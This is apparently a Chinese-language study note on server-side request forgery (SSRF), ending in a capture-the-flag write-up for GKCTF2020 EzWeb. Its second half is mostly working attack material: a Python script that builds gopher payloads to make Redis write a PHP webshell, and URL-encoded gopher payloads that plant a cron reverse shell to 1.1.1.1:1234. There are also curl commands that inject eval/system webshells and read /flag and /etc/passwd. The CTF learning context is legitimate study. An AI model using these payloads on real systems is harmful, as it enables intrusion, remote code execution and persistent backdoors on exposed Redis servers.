SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。很晦涩!!!举个例子:服务端有一个在线加载图片的功能,你传入一个图片URL,网站就会加载出来对应图片,所以图片的URL是网站服务器去访问的,如果我们利用这点传入一些只有服务端才能进行访问的URL,比如不对外开放的后台地址,那么这个过程就是服务端的请求伪造。

简单的说就是:

客户端把要请求的数据发给服务器!服务器来请求!这时我们可以构造发给服务器的数据!来获取服务器里的数据!等等。。。。。。

常简存在SSRF漏洞的函数

php

1.file_get_contents()
2.fsockopen()
3.curl_exec() 默认不支持302跳转的

java

1.HttpClient
2.Request (对HttpClient封装后的类)
3.HttpURLConnection
4.URLConnection
5.URL
6.okhttp
以上的几个发送网络请求的类都有可能导致SSRF,但是java的各个类对协议的支持各有不同,所以利用过程首先得确定支持哪些协议。

SSRF支持的协议

这里协议描述的细一点,也参考了各个文章的trick。因为协议的技巧都是通用的,xxe、文件读取、文件包含等都可能用的上。

语言支持协议表 php Java curl Perl ASP.NET
http/https
gopher -with-curlwrappers Before JDK1.7 before 7.49.0 不支持\x00 Before version 3
tftp -with-curlwrappers X before 7.49.0 不支持\x00 X X
dict -with-curlwrappers X X X
file
ftp
imap -with-curlwrappers X X
pop3 -with-curlwrappers X X
rtsp -with-curlwrappers
smb -with-curlwrappers
smtp -with-curlwrappers X X X
telnet -with-curlwrappers X X X
ssh2 受限于allow_url_fopen X X 受限于NET:SSH2 X
ogg 受限于allow_url_fopen X X X X
expect 受限于allow_url_fopen X X X X
ldap X X X X
php X X X X
zlib/bzip/zip 受限于allow_url_fopen X X X X

各大协议

利用 Gopher 协议拓展攻击面

去长亭里看到一篇文章:

https://blog.chaitin.cn/gopher-attack-surfaces/

概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

CGI、FCGI、php-cgi、php-fpm概念解析

http://www.w3capi.com/doc/chapter/id/217/cid/21.html

我的理解把!CGI就是动态网页在发送给web服务器时!WEB服务器在请求相关后端服务(php服务)时,需要以什么样的格式、什么样的方式、发送给后端服务什么样的数据呢?在PHP执行环境中,其实是通过CGI进行处理的。CGI就是定义文件格式、数据内容的接口协议。!

学习文章

https://www.anquanke.com/post/id/226240

tcl

啥协议都不知道!

不知道每个协议是干啥的!

学学:

协议

file协议

读取服务器上任意文件内容

dict协议

可以用来操作内网Redis等服务

ftp、ftps

FTP匿名访问、爆破

tftp

UDP协议扩展

imap/imaps/pop3/pop3s/smtp/smtps

爆破邮件用户名密码

telnet

SSH/Telnet匿名访问及爆破

smb/smbs

SMB匿名访问及爆破

Gopher

Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%a。注意post参数之间的&分隔符也要进行url编码
基本协议格式:URL:gopher://:/_后接TCP数据流

使用gopher协议构造post包的方法
https://www.th1s.cn/index.php/2016/10/31/15.html

实际测试以及阅读文章中发现gopher存在以下几点问题

  1. PHP的curl默认不跟随302跳转
  2. curl7.43gopher协议存在%00截断的BUG,v7.45以上可用
  3. file_get_contents()的SSRF,gopher协议不能使用URLencode
  4. file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败

gopher、dict协议以及redis服务、Curl 命令

Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

DICT协议,一个字典服务器协议,A Dictionary Server Protocol,允许客户端在使用过程中访问更多字典并且该协议约定服务器端侦听端口号:2628

redis服务是在6379端口开启的
img
这些我们大致了解一下知道其用处即可

curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:

curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思

不带有任何参数时,curl 就是发出 GET 请求

$ curl https://www.example.com

上面命令向www.example.com发出 GET 请求,服务器返回的内容会在命令行输出

-v参数输出通信的整个过程,用于调试。我们便可以利用-v参数进行读取文件

使用file协议curl -v file:///etc/passwd
使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
使用dict协议 curl -v "dict://127.0.0.1:端口/info"
使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"

其他参数可以参考curl

常见内网IP段

局域网地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255

A类:10.0.0.0 - 10.255.255.255

利用方法:

自己去看把!太多了!!!😶

例题

[GKCTF2020]EZ三剑客-EzWeb

勉强学了点东西!

以前遇到的ssrf都是file直接读!发现file没用了!感觉啥也不会了!

image-20210125183150116

image-20210125183210564

访问?secret

发现执行了ifconfig

发现内网的ip

image-20210125183244235

大佬说给了ip,想想就知道是ssrf!😶

我思考半天!在我的知识储备里,好像也就爆内网D段的时候用ip!好吧就可以认为是ssrf!

🙄

file:读取文件

发现file协议被过滤了,我们可以尝试绕过:file:/file:<空格>///

file: //

file:

file: /

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

从源码中可知过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议
我们使用http协议进行内网主机存活探测。用burp抓包,跑字典:

一般实战的时候要对IP段进行探测!那字典 http

端口进行探测!dict

爆内网ip和端口

进行D段扫描

image-20210125190102166

image-20210125190043272

爆出redis服务开启的

6379

image-20210125191727189

也可以用nmap:

nmap -sV 9969ab83-1446-441e-808a-02a5793215c5.node3.buuoj.cn -p 6379
nmap -sV -F f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn
nmap -sV f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn -T4

ssrf 打redis

https://xz.aliyun.com/t/8613

大佬的exp

import urllib
protocol="gopher://"
ip="173.96.119.11" // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

反弹shell

好像不行!

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/1.1.1.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/1.1.1.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/1.1.1.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bupload%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_GET%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这里需要绕过一下空格否则会400 Bad Request

http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=10.82.232.11/shell.php?1=system('cat$IFS$9/flag');&submit=%E6%8F%90%E4%BA%A4

或者直接在框里输入:

url=10.82.232.11/shell.php?1=system('cat%20/flag');

%20绕过!!!

这空格也太恶心了!🙄

curl -v http://f29908c5-b09f-4a7a-8adb-e987183490be.node3.buuoj.cn/index.php?url=gopher://10.82.232.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2437%0D%0A%0A%0A%3C%3Fphp%20echo%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A